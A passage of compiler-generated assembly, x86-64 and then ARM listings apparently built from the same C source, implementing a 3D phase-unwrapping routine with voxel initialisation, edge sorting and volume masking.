mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 56[rax]
test rax, rax
jne .L202
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 40[rax]
cmp QWORD PTR -8[rbp], rax
jne .L202
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 40[rax]
mov rax, QWORD PTR 48[rax]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 56[rax], rdx
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 40[rax]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 48[rax], rdx
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 40[rax]
mov edx, DWORD PTR 4[rax]
add edx, 1
mov DWORD PTR 4[rax], edx
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR 40[rax]
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 40[rax], rdx
mov rax, QWORD PTR -16[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR 24[rax]
sub edx, eax
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR [rax], edx
jmp .L201
.L202:
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 56[rax]
test rax, rax
jne .L203
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 40[rax]
cmp QWORD PTR -16[rbp], rax
jne .L203
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 40[rax]
mov rax, QWORD PTR 48[rax]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR 56[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 40[rax]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR 48[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 40[rax]
mov edx, DWORD PTR 4[rax]
add edx, 1
mov DWORD PTR 4[rax], edx
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 40[rax]
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR 40[rax], rdx
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR 24[rax]
add edx, eax
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], edx
jmp .L201
.L203:
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 40[rax]
mov QWORD PTR -40[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 40[rax]
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov edx, DWORD PTR 4[rax]
mov rax, QWORD PTR -32[rbp]
mov eax, DWORD PTR 4[rax]
cmp edx, eax
jle .L204
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR 48[rax]
mov rdx, QWORD PTR -32[rbp]
mov QWORD PTR 56[rax], rdx
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR 48[rax]
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR 48[rax], rdx
mov rax, QWORD PTR -40[rbp]
mov edx, DWORD PTR 4[rax]
mov rax, QWORD PTR -32[rbp]
mov eax, DWORD PTR 4[rax]
add edx, eax
mov rax, QWORD PTR -40[rbp]
mov DWORD PTR 4[rax], edx
mov rax, QWORD PTR -16[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR 24[rax]
sub edx, eax
mov rax, QWORD PTR -8[rbp]
mov ecx, DWORD PTR [rax]
mov eax, edx
sub eax, ecx
mov DWORD PTR -44[rbp], eax
jmp .L205
.L206:
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -40[rbp]
mov QWORD PTR 40[rax], rdx
mov rax, QWORD PTR -32[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -44[rbp]
add edx, eax
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -32[rbp]
mov rax, QWORD PTR 56[rax]
mov QWORD PTR -32[rbp], rax
.L205:
cmp QWORD PTR -32[rbp], 0
jne .L206
jmp .L201
.L204:
mov rax, QWORD PTR -32[rbp]
mov rax, QWORD PTR 48[rax]
mov rdx, QWORD PTR -40[rbp]
mov QWORD PTR 56[rax], rdx
mov rax, QWORD PTR -40[rbp]
mov rdx, QWORD PTR 48[rax]
mov rax, QWORD PTR -32[rbp]
mov QWORD PTR 48[rax], rdx
mov rax, QWORD PTR -32[rbp]
mov edx, DWORD PTR 4[rax]
mov rax, QWORD PTR -40[rbp]
mov eax, DWORD PTR 4[rax]
add edx, eax
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR 4[rax], edx
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR 24[rax]
add edx, eax
mov rax, QWORD PTR -16[rbp]
mov ecx, DWORD PTR [rax]
mov eax, edx
sub eax, ecx
mov DWORD PTR -44[rbp], eax
jmp .L207
.L208:
mov rax, QWORD PTR -40[rbp]
mov rdx, QWORD PTR -32[rbp]
mov QWORD PTR 40[rax], rdx
mov rax, QWORD PTR -40[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -44[rbp]
add edx, eax
mov rax, QWORD PTR -40[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -40[rbp]
mov rax, QWORD PTR 56[rax]
mov QWORD PTR -40[rbp], rax
.L207:
cmp QWORD PTR -40[rbp], 0
jne .L208
.L201:
add QWORD PTR -24[rbp], 32
add DWORD PTR -48[rbp], 1
.L200:
mov rax, QWORD PTR -64[rbp]
mov eax, DWORD PTR 20[rax]
cmp DWORD PTR -48[rbp], eax
jl .L209
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE17:
.size gatherVOXELs, .-gatherVOXELs
.globl unwrapVolume
.type unwrapVolume, @function
unwrapVolume:
.LFB18:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
mov DWORD PTR -36[rbp], ecx
mov eax, DWORD PTR -28[rbp]
imul eax, DWORD PTR -32[rbp]
mov edx, DWORD PTR -36[rbp]
imul eax, edx
mov DWORD PTR -12[rbp], eax
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -16[rbp], 0
jmp .L211
.L212:
mov rax, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR 8[rax]
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
pxor xmm2, xmm2
cvtsi2sd xmm2, eax
movsd xmm0, QWORD PTR .LC1[rip]
mulsd xmm0, xmm2
addsd xmm0, xmm1
mov rax, QWORD PTR -8[rbp]
movsd QWORD PTR 8[rax], xmm0
add QWORD PTR -8[rbp], 64
add DWORD PTR -16[rbp], 1
.L211:
mov eax, DWORD PTR -16[rbp]
cmp eax, DWORD PTR -12[rbp]
jl .L212
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE18:
.size unwrapVolume, .-unwrapVolume
.globl maskVolume
.type maskVolume, @function
maskVolume:
.LFB19:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov DWORD PTR -68[rbp], edx
mov DWORD PTR -72[rbp], ecx
mov DWORD PTR -76[rbp], r8d
mov eax, DWORD PTR -68[rbp]
add eax, 1
mov DWORD PTR -44[rbp], eax
mov eax, DWORD PTR -72[rbp]
add eax, 1
mov DWORD PTR -40[rbp], eax
mov eax, DWORD PTR -68[rbp]
sub eax, 1
mov DWORD PTR -36[rbp], eax
mov eax, DWORD PTR -72[rbp]
sub eax, 1
mov DWORD PTR -32[rbp], eax
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR -16[rbp], rax
movsd xmm0, QWORD PTR .LC3[rip]
movsd QWORD PTR -8[rbp], xmm0
mov eax, DWORD PTR -68[rbp]
imul eax, DWORD PTR -72[rbp]
mov edx, DWORD PTR -76[rbp]
imul eax, edx
mov DWORD PTR -28[rbp], eax
mov DWORD PTR -48[rbp], 0
jmp .L214
.L217:
mov rax, QWORD PTR -24[rbp]
movsd xmm1, QWORD PTR 8[rax]
movsd xmm0, QWORD PTR -8[rbp]
comisd xmm0, xmm1
jbe .L215
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L215
mov rax, QWORD PTR -24[rbp]
movsd xmm0, QWORD PTR 8[rax]
movsd QWORD PTR -8[rbp], xmm0
.L215:
add QWORD PTR -24[rbp], 64
add QWORD PTR -16[rbp], 1
add DWORD PTR -48[rbp], 1
.L214:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L217
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -48[rbp], 0
jmp .L218
.L220:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
cmp al, 1
jne .L219
mov rax, QWORD PTR -24[rbp]
movsd xmm0, QWORD PTR -8[rbp]
movsd QWORD PTR 8[rax], xmm0
.L219:
add QWORD PTR -24[rbp], 64
add QWORD PTR -16[rbp], 1
add DWORD PTR -48[rbp], 1
.L218:
mov eax, DWORD PTR -48[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L220
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE19:
.size maskVolume, .-maskVolume
.globl returnVolume
.type returnVolume, @function
returnVolume:
.LFB20:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov DWORD PTR -52[rbp], edx
mov DWORD PTR -56[rbp], ecx
mov DWORD PTR -60[rbp], r8d
mov eax, DWORD PTR -52[rbp]
imul eax, DWORD PTR -56[rbp]
mov edx, DWORD PTR -60[rbp]
imul eax, edx
mov DWORD PTR -20[rbp], eax
mov rax, QWORD PTR -48[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -24[rbp], 0
jmp .L223
.L224:
mov rax, QWORD PTR -8[rbp]
movsd xmm0, QWORD PTR 8[rax]
mov rax, QWORD PTR -16[rbp]
movsd QWORD PTR [rax], xmm0
add QWORD PTR -8[rbp], 64
add QWORD PTR -16[rbp], 8
add DWORD PTR -24[rbp], 1
.L223:
mov eax, DWORD PTR -24[rbp]
cmp eax, DWORD PTR -20[rbp]
jl .L224
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE20:
.size returnVolume, .-returnVolume
.globl unwrap3D
.type unwrap3D, @function
unwrap3D:
.LFB21:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov QWORD PTR -72[rbp], rdi
mov QWORD PTR -80[rbp], rsi
mov QWORD PTR -88[rbp], rdx
mov DWORD PTR -92[rbp], ecx
mov DWORD PTR -96[rbp], r8d
mov DWORD PTR -100[rbp], r9d
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
movsd xmm0, QWORD PTR .LC1[rip]
movsd QWORD PTR -32[rbp], xmm0
mov eax, DWORD PTR 16[rbp]
mov DWORD PTR -24[rbp], eax
mov eax, DWORD PTR 24[rbp]
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR 32[rbp]
mov DWORD PTR -16[rbp], eax
mov DWORD PTR -12[rbp], 0
mov eax, DWORD PTR -96[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, DWORD PTR -100[rbp]
imul eax, edx
mov DWORD PTR -64[rbp], eax
mov eax, DWORD PTR -92[rbp]
imul eax, DWORD PTR -96[rbp]
imul eax, DWORD PTR -100[rbp]
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
mov DWORD PTR -60[rbp], eax
mov eax, DWORD PTR -64[rbp]
cdqe
mov esi, 1
mov rdi, rax
call calloc@PLT
mov QWORD PTR -56[rbp], rax
mov eax, DWORD PTR -64[rbp]
cdqe
mov esi, 64
mov rdi, rax
call calloc@PLT
mov QWORD PTR -48[rbp], rax
mov eax, DWORD PTR -60[rbp]
cdqe
mov esi, 32
mov rdi, rax
call calloc@PLT
mov QWORD PTR -40[rbp], rax
lea r8, -32[rbp]
mov edi, DWORD PTR -100[rbp]
mov ecx, DWORD PTR -96[rbp]
mov edx, DWORD PTR -92[rbp]
mov rsi, QWORD PTR -56[rbp]
mov rax, QWORD PTR -88[rbp]
mov r9, r8
mov r8d, edi
mov rdi, rax
call extend_mask
mov r9d, DWORD PTR -96[rbp]
mov r8d, DWORD PTR -92[rbp]
mov rcx, QWORD PTR -48[rbp]
mov rdx, QWORD PTR -56[rbp]
mov rsi, QWORD PTR -88[rbp]
mov rax, QWORD PTR -72[rbp]
sub rsp, 8
mov edi, DWORD PTR -100[rbp]
push rdi
mov rdi, rax
call initialiseVOXELs
add rsp, 16
lea r8, -32[rbp]
mov edi, DWORD PTR -100[rbp]
mov ecx, DWORD PTR -96[rbp]
mov edx, DWORD PTR -92[rbp]
mov rsi, QWORD PTR -48[rbp]
mov rax, QWORD PTR -72[rbp]
mov r9, r8
mov r8d, edi
mov rdi, rax
call calculate_reliability
lea r8, -32[rbp]
mov edi, DWORD PTR -100[rbp]
mov ecx, DWORD PTR -96[rbp]
mov edx, DWORD PTR -92[rbp]
mov rsi, QWORD PTR -40[rbp]
mov rax, QWORD PTR -48[rbp]
mov r9, r8
mov r8d, edi
mov rdi, rax
call horizontalEDGEs
lea r8, -32[rbp]
mov edi, DWORD PTR -100[rbp]
mov ecx, DWORD PTR -96[rbp]
mov edx, DWORD PTR -92[rbp]
mov rsi, QWORD PTR -40[rbp]
mov rax, QWORD PTR -48[rbp]
mov r9, r8
mov r8d, edi
mov rdi, rax
call verticalEDGEs
lea r8, -32[rbp]
mov edi, DWORD PTR -100[rbp]
mov ecx, DWORD PTR -96[rbp]
mov edx, DWORD PTR -92[rbp]
mov rsi, QWORD PTR -40[rbp]
mov rax, QWORD PTR -48[rbp]
mov r9, r8
mov r8d, edi
mov rdi, rax
call normalEDGEs
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 5
lea rdx, -32[rax]
mov rax, QWORD PTR -40[rbp]
add rdx, rax
mov rax, QWORD PTR -40[rbp]
mov rsi, rdx
mov rdi, rax
call quicker_sort
lea rdx, -32[rbp]
mov rax, QWORD PTR -40[rbp]
mov rsi, rdx
mov rdi, rax
call gatherVOXELs
mov ecx, DWORD PTR -100[rbp]
mov edx, DWORD PTR -96[rbp]
mov esi, DWORD PTR -92[rbp]
mov rax, QWORD PTR -48[rbp]
mov rdi, rax
call unwrapVolume
mov edi, DWORD PTR -100[rbp]
mov ecx, DWORD PTR -96[rbp]
mov edx, DWORD PTR -92[rbp]
mov rsi, QWORD PTR -88[rbp]
mov rax, QWORD PTR -48[rbp]
mov r8d, edi
mov rdi, rax
call maskVolume
mov edi, DWORD PTR -100[rbp]
mov ecx, DWORD PTR -96[rbp]
mov edx, DWORD PTR -92[rbp]
mov rsi, QWORD PTR -80[rbp]
mov rax, QWORD PTR -48[rbp]
mov r8d, edi
mov rdi, rax
call returnVolume
mov rax, QWORD PTR -40[rbp]
mov rdi, rax
call free@PLT
mov rax, QWORD PTR -48[rbp]
mov rdi, rax
call free@PLT
mov rax, QWORD PTR -56[rbp]
mov rdi, rax
call free@PLT
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L226
call __stack_chk_fail@PLT
.L226:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE21:
.size unwrap3D, .-unwrap3D
.section .rodata
.align 8
.LC0:
.long 1413754136
.long 1074340347
.align 8
.LC1:
.long 1413754136
.long 1075388923
.align 8
.LC2:
.long 1413754136
.long -1073143301
.align 8
.LC3:
.long -67108864
.long 1100470147
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "24035.c"
.text
.global __aeabi_dcmpgt
.global __aeabi_dcmplt
.global __aeabi_dcmpeq
.align 2
.global find_pivot
.syntax unified
.arm
.fpu softvfp
.type find_pivot, %function
find_pivot:
@ args = 0, pretend = 0, frame = 120
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #120
str r0, [fp, #-112]
str r1, [fp, #-116]
str r2, [fp, #-120]
ldr r3, [fp, #-112]
sub ip, fp, #100
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
ldr r2, [fp, #-116]
ldr r3, [fp, #-112]
sub r3, r2, r3
asr r2, r3, #3
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r1, r3, #4
add r3, r3, r1
lsl r1, r3, #8
add r3, r3, r1
lsl r1, r3, #16
add r3, r3, r1
lsl r3, r3, #1
add r3, r3, r2
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
mov r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
mov r2, r3
ldr r3, [fp, #-112]
add r3, r3, r2
sub ip, fp, #76
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
ldr r3, [fp, #-116]
sub ip, fp, #52
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
sub r1, fp, #100
ldmia r1, {r0-r1}
sub r3, fp, #76
ldmia r3, {r2-r3}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L2
sub ip, fp, #28
sub lr, fp, #100
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
sub ip, fp, #100
sub lr, fp, #76
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
sub ip, fp, #76
sub lr, fp, #28
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
.L2:
sub r1, fp, #100
ldmia r1, {r0-r1}
sub r3, fp, #52
ldmia r3, {r2-r3}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L4
sub ip, fp, #28
sub lr, fp, #100
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
sub ip, fp, #100
sub lr, fp, #52
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
sub ip, fp, #52
sub lr, fp, #28
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
.L4:
sub r1, fp, #76
ldmia r1, {r0-r1}
sub r3, fp, #52
ldmia r3, {r2-r3}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L6
sub ip, fp, #28
sub lr, fp, #76
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
sub ip, fp, #76
sub lr, fp, #52
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
sub ip, fp, #52
sub lr, fp, #28
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
.L6:
sub r1, fp, #100
ldmia r1, {r0-r1}
sub r3, fp, #76
ldmia r3, {r2-r3}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L28
sub r3, fp, #76
ldmia r3, {r2-r3}
ldr r1, [fp, #-120]
stm r1, {r2-r3}
mov r3, #0
b .L20
.L28:
sub r1, fp, #76
ldmia r1, {r0-r1}
sub r3, fp, #52
ldmia r3, {r2-r3}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L29
sub r3, fp, #52
ldmia r3, {r2-r3}
ldr r1, [fp, #-120]
stm r1, {r2-r3}
mov r3, #0
b .L20
.L29:
ldr r3, [fp, #-112]
add r3, r3, #24
str r3, [fp, #-104]
b .L13
.L19:
ldr r3, [fp, #-104]
ldmia r3, {r0-r1}
ldr r3, [fp, #-112]
ldmia r3, {r2-r3}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
bne .L30
ldr r3, [fp, #-104]
ldmia r3, {r0-r1}
ldr r3, [fp, #-112]
ldmia r3, {r2-r3}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L31
ldr r3, [fp, #-112]
ldmia r3, {r2-r3}
b .L18
.L31:
ldr r3, [fp, #-104]
ldmia r3, {r2-r3}
.L18:
ldr r1, [fp, #-120]
stm r1, {r2-r3}
mov r3, #0
b .L20
.L30:
ldr r3, [fp, #-104]
add r3, r3, #24
str r3, [fp, #-104]
.L13:
ldr r2, [fp, #-104]
ldr r3, [fp, #-116]
cmp r2, r3
bls .L19
mov r3, #1
.L20:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size find_pivot, .-find_pivot
.global __aeabi_dcmple
.align 2
.global partition
.syntax unified
.arm
.fpu softvfp
.type partition, %function
partition:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-32]
str r1, [fp, #-36]
str r2, [fp, #-44]
str r3, [fp, #-40]
b .L33
.L35:
ldr r3, [fp, #-32]
add r3, r3, #24
str r3, [fp, #-32]
.L34:
ldr r3, [fp, #-32]
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
bne .L35
b .L36
.L37:
ldr r3, [fp, #-36]
sub r3, r3, #24
str r3, [fp, #-36]
.L36:
ldr r3, [fp, #-36]
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L37
ldr r2, [fp, #-32]
ldr r3, [fp, #-36]
cmp r2, r3
bcs .L33
ldr r3, [fp, #-32]
sub ip, fp, #28
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
ldr r2, [fp, #-32]
ldr r3, [fp, #-36]
mov ip, r2
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldm lr, {r0, r1}
stm ip, {r0, r1}
ldr r3, [fp, #-36]
mov lr, r3
sub ip, fp, #28
ldmia ip!, {r0, r1, r2, r3}
stmia lr!, {r0, r1, r2, r3}
ldm ip, {r0, r1}
stm lr, {r0, r1}
ldr r3, [fp, #-32]
add r3, r3, #24
str r3, [fp, #-32]
ldr r3, [fp, #-36]
sub r3, r3, #24
str r3, [fp, #-36]
.L33:
ldr r2, [fp, #-32]
ldr r3, [fp, #-36]
cmp r2, r3
bls .L34
ldr r3, [fp, #-32]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size partition, .-partition
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global quicker_sort
.syntax unified
.arm
.fpu softvfp
.type quicker_sort, %function
quicker_sort:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-32]
str r1, [fp, #-36]
ldr r3, .L44
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #20
mov r2, r3
ldr r1, [fp, #-36]
ldr r0, [fp, #-32]
bl find_pivot
mov r3, r0
cmp r3, #0
bne .L43
sub r3, fp, #20
ldmia r3, {r2-r3}
ldr r1, [fp, #-36]
ldr r0, [fp, #-32]
bl partition
str r0, [fp, #-24]
ldr r3, [fp, #-24]
sub r3, r3, #24
mov r1, r3
ldr r0, [fp, #-32]
bl quicker_sort
ldr r1, [fp, #-36]
ldr r0, [fp, #-24]
bl quicker_sort
.L43:
nop
ldr r3, .L44
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L42
bl __stack_chk_fail
.L42:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L45:
.align 2
.L44:
.word .LC0
.size quicker_sort, .-quicker_sort
.global __aeabi_i2d
.align 2
.global initialiseVOXELs
.syntax unified
.arm
.fpu softvfp
.type initialiseVOXELs, %function
initialiseVOXELs:
@ args = 12, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
str r3, [fp, #-52]
ldr r3, [fp, #-52]
str r3, [fp, #-32]
ldr r3, [fp, #-40]
str r3, [fp, #-28]
ldr r3, [fp, #-44]
str r3, [fp, #-24]
ldr r3, [fp, #-48]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-16]
b .L47
.L52:
mov r3, #0
str r3, [fp, #-12]
b .L48
.L51:
mov r3, #0
str r3, [fp, #-8]
b .L49
.L50:
ldr r3, [fp, #-32]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-32]
mov r2, #1
str r2, [r3, #4]
ldr r3, [fp, #-28]
ldmia r3, {r2-r3}
ldr r1, [fp, #-32]
str r2, [r1, #8]
str r3, [r1, #12]
bl rand
mov r2, r0
ldr r3, .L53
add r3, r2, r3
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
ldr r1, [fp, #-32]
str r2, [r1, #16]
str r3, [r1, #20]
ldr r3, [fp, #-24]
ldrb r2, [r3] @ zero_extendqisi2
ldr r3, [fp, #-32]
strb r2, [r3, #24]
ldr r3, [fp, #-20]
ldrb r2, [r3] @ zero_extendqisi2
ldr r3, [fp, #-32]
strb r2, [r3, #25]
ldr r3, [fp, #-32]
ldr r2, [fp, #-32]
str r2, [r3, #36]
ldr r3, [fp, #-32]
ldr r2, [fp, #-32]
str r2, [r3, #40]
ldr r3, [fp, #-32]
mov r2, #0
str r2, [r3, #44]
ldr r3, [fp, #-32]
mov r2, #0
str r2, [r3, #32]
ldr r3, [fp, #-32]
mvn r2, #0
str r2, [r3, #28]
ldr r3, [fp, #-32]
add r3, r3, #48
str r3, [fp, #-32]
ldr r3, [fp, #-28]
add r3, r3, #8
str r3, [fp, #-28]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L49:
ldr r2, [fp, #-8]
ldr r3, [fp, #4]
cmp r2, r3
blt .L50
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L48:
ldr r2, [fp, #-12]
ldr r3, [fp, #8]
cmp r2, r3
blt .L51
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L47:
ldr r2, [fp, #-16]
ldr r3, [fp, #12]
cmp r2, r3
blt .L52
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L54:
.align 2
.L53:
.word 9999999
.size initialiseVOXELs, .-initialiseVOXELs
.global __aeabi_dsub
.global __aeabi_dadd
.align 2
.global wrap
.syntax unified
.arm
.fpu softvfp
.type wrap, %function
wrap:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-20]
str r1, [fp, #-16]
ldr r2, .L66
ldr r3, .L66+4
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L64
ldr r2, .L66
ldr r3, .L66+8
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
b .L58
.L64:
ldr r2, .L66
ldr r3, .L66+12
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L65
